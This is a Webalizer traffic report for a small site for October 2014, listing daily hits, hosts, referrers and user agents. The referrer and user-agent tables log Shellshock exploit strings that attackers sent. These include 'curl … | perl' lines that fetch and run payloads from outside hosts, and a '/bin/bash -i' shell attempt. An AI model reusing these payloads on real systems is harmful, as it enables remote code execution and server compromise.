my webalizer report title kirmani.pair.com

Summary Period: October 2014
Generated 03-Nov-2014 00:29 EST

[Daily Statistics] [URLs] [Entry] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for October 2014
Total Hits 820
Total Files 66
Total Pages 765
Total Visits 138
Total KBytes 1323
Total Unique Sites 137
Total Unique URLs 3
Total Unique Referrers 8
Total Unique User Agents 39
. Avg Max
Hits per Hour 1 403
Hits per Day 29 411
Files per Day 2 5
Pages per Day 27 389
Sites per Day 4 16
Visits per Day 4 16
KBytes per Day 47 279
Hits by Response Code
Code 200 - OK 8.05% 66
Code 400 - Bad Request 5.98% 49
Code 403 - Forbidden 0.24% 2
Code 404 - Not Found 84.88% 696
Code 405 - Method Not Allowed 0.37% 3
Code 501 - Not Implemented 0.49% 4

Daily usage for October 2014

Daily Statistics for October 2014
Day Hits Files Pages Visits Sites KBytes
4 10 1.22% 3 4.55% 10 1.31% 6 4.35% 6 4.38% 22 1.67%
5 7 0.85% 3 4.55% 4 0.52% 4 2.90% 5 3.65% 56 4.24%
6 4 0.49% 1 1.52% 1 0.13% 1 0.72% 4 2.92% 19 1.47%
7 7 0.85% 4 6.06% 7 0.92% 6 4.35% 5 3.65% 59 4.50%
8 10 1.22% 1 1.52% 7 0.92% 7 5.07% 9 6.57% 4 0.31%
9 7 0.85% 2 3.03% 6 0.78% 5 3.62% 5 3.65% 38 2.89%
10 6 0.73% 2 3.03% 5 0.65% 5 3.62% 6 4.38% 38 2.86%
11 4 0.49% 3 4.55% 4 0.52% 4 2.90% 4 2.92% 1 0.08%
12 35 4.27% 5 7.58% 35 4.58% 8 5.80% 8 5.84% 34 2.58%
13 23 2.80% 3 4.55% 22 2.88% 7 5.07% 8 5.84% 64 4.82%
14 4 0.49% 1 1.52% 4 0.52% 4 2.90% 4 2.92% 19 1.46%
15 4 0.49% 2 3.03% 4 0.52% 4 2.90% 4 2.92% 19 1.46%
16 11 1.34% 5 7.58% 8 1.05% 7 5.07% 6 4.38% 75 5.69%
17 2 0.24% 1 1.52% 2 0.26% 2 1.45% 2 1.46% 19 1.40%
18 5 0.61% 2 3.03% 4 0.52% 4 2.90% 5 3.65% 37 2.83%
19 7 0.85% 3 4.55% 7 0.92% 5 3.62% 5 3.65% 56 4.22%
20 5 0.61% 1 1.52% 5 0.65% 5 3.62% 5 3.65% 20 1.51%
21 14 1.71% 0 0.00% 14 1.83% 3 2.17% 3 2.19% 6 0.43%
22 44 5.37% 4 6.06% 41 5.36% 6 4.35% 8 5.84% 92 6.98%
23 2 0.24% 0 0.00% 1 0.13% 1 0.72% 2 1.46% 1 0.07%
24 10 1.22% 2 3.03% 9 1.18% 8 5.80% 7 5.11% 39 2.98%
25 4 0.49% 0 0.00% 3 0.39% 3 2.17% 4 2.92% 2 0.13%
26 53 6.46% 3 4.55% 51 6.67% 6 4.35% 7 5.11% 80 6.05%
27 7 0.85% 3 4.55% 7 0.92% 1 0.72% 1 0.73% 56 4.25%
28 18 2.20% 4 6.06% 18 2.35% 16 11.59% 16 11.68% 79 5.99%
29 5 0.61% 1 1.52% 2 0.26% 2 1.45% 5 3.65% 20 1.51%
30 411 50.12% 4 6.06% 389 50.85% 3 2.17% 4 2.92% 279 21.13%
31 101 12.32% 3 4.55% 95 12.42% 5 3.62% 6 4.38% 86 6.51%

Top 3 of 3 Total URLs
# Hits KBytes URL
1 64 7.80% 945 71.41% /
2 1 0.12% 4 0.30% /about.html
3 1 0.12% 0 0.02% /icons/apache_pb.gif

Top 3 of 3 Total URLs By KBytes
# Hits KBytes URL
1 64 7.80% 945 71.41% /
2 1 0.12% 4 0.30% /about.html
3 1 0.12% 0 0.02% /icons/apache_pb.gif

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 64 7.80% 60 100.00% /

Top 30 of 137 Total Sites
# Hits Files KBytes Visits Hostname
1 403 49.15% 3 4.55% 258 19.52% 1 0.72% 192.208.180.201
2 96 11.71% 2 3.03% 84 6.37% 1 0.72% 69.57.174.90
3 46 5.61% 1 1.52% 42 3.16% 1 0.72% 46.45.143.162
4 28 3.41% 0 0.00% 14 1.07% 1 0.72% 222.175.241.131
5 27 3.29% 0 0.00% 14 1.03% 1 0.72% 175.122.253.28
6 16 1.95% 0 0.00% 8 0.58% 1 0.72% 180.186.121.254
7 12 1.46% 0 0.00% 5 0.37% 1 0.72% 104.192.0.18
8 10 1.22% 3 4.55% 58 4.36% 1 0.72% 82.208.133.66
9 7 0.85% 3 4.55% 56 4.25% 1 0.72% 178.218.210.59
10 6 0.73% 1 1.52% 20 1.55% 1 0.72% 117.27.254.25
11 5 0.61% 0 0.00% 2 0.18% 0 0.00% 125.64.35.67
12 5 0.61% 0 0.00% 2 0.18% 1 0.72% 221.194.47.232
13 5 0.61% 2 3.03% 37 2.83% 5 3.62% 78.39.133.2
14 4 0.49% 2 3.03% 37 2.81% 2 1.45% 198.20.69.74
15 4 0.49% 2 3.03% 37 2.81% 2 1.45% 66.240.192.138
16 3 0.37% 3 4.55% 54 4.11% 1 0.72% 200.72.242.9
17 3 0.37% 1 1.52% 19 1.44% 1 0.72% 213.136.78.87
18 3 0.37% 0 0.00% 1 0.11% 0 0.00% 98.126.135.138
19 2 0.24% 0 0.00% 1 0.07% 2 1.45% 115.238.250.120
20 2 0.24% 0 0.00% 1 0.06% 0 0.00% 118.97.108.74
21 2 0.24% 0 0.00% 1 0.07% 0 0.00% 162.219.179.101
22 2 0.24% 0 0.00% 1 0.07% 2 1.45% 192.3.45.107
23 2 0.24% 2 3.03% 36 2.74% 2 1.45% 193.174.89.19
24 2 0.24% 2 3.03% 36 2.74% 2 1.45% 199.116.169.254
25 2 0.24% 0 0.00% 1 0.08% 1 0.72% 208.125.57.17
26 2 0.24% 2 3.03% 22 1.67% 1 0.72% 208.90.57.196
27 2 0.24% 0 0.00% 1 0.06% 1 0.72% 216.242.52.20
28 2 0.24% 0 0.00% 1 0.06% 2 1.45% 222.35.16.27
29 2 0.24% 1 1.52% 19 1.41% 1 0.72% 54.169.52.64
30 2 0.24% 0 0.00% 1 0.06% 1 0.72% 67.213.21.8

Top 10 of 137 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 403 49.15% 3 4.55% 258 19.52% 1 0.72% 192.208.180.201
2 96 11.71% 2 3.03% 84 6.37% 1 0.72% 69.57.174.90
3 10 1.22% 3 4.55% 58 4.36% 1 0.72% 82.208.133.66
4 7 0.85% 3 4.55% 56 4.25% 1 0.72% 178.218.210.59
5 3 0.37% 3 4.55% 54 4.11% 1 0.72% 200.72.242.9
6 46 5.61% 1 1.52% 42 3.16% 1 0.72% 46.45.143.162
7 5 0.61% 2 3.03% 37 2.83% 5 3.62% 78.39.133.2
8 4 0.49% 2 3.03% 37 2.81% 2 1.45% 198.20.69.74
9 4 0.49% 2 3.03% 37 2.81% 2 1.45% 66.240.192.138
10 2 0.24% 2 3.03% 36 2.74% 2 1.45% 199.116.169.254

Top 5 of 8 Total Referrers
# Hits Referrer
1 502 61.22% () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
2 300 36.59% - (Direct Request)
3 8 0.98% () { :; }; curl http://new-energo0.1gb.ru/cpan_root | perl
4 3 0.37% () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl
5 3 0.37% http://64.130.47.23/
View All Referrers

Top 15 of 39 Total User Agents
# Hits User Agent
1 502 61.22% () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
2 16 1.95% () { :;}; echo `echo xbash:test`
3 13 1.59% () { ignored;};/bin/bash -i
4 11 1.34% Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .N
5 8 0.98% () { :; }; curl http://new-energo0.1gb.ru/cpan_root | perl
6 6 0.73% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .N
7 6 0.73% Python-urllib/2.6
8 5 0.61% () { :; }; echo -e \"Content-Type: text/plain\\n\"; i=is333h;c=p555n;echo $c$i;exit
9 5 0.61% Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
10 4 0.49% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)
11 4 0.49% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3
12 3 0.37% () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl
13 3 0.37% Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
14 2 0.24% Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
15 2 0.24% Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0

Usage by Country for October 2014

Top 1 of 1 Total Countries
# Hits Files KBytes Country
1 820 100.00% 66 100.00% 1323 100.00% Unresolved/Unknown


Generated by Webalizer Version 2.21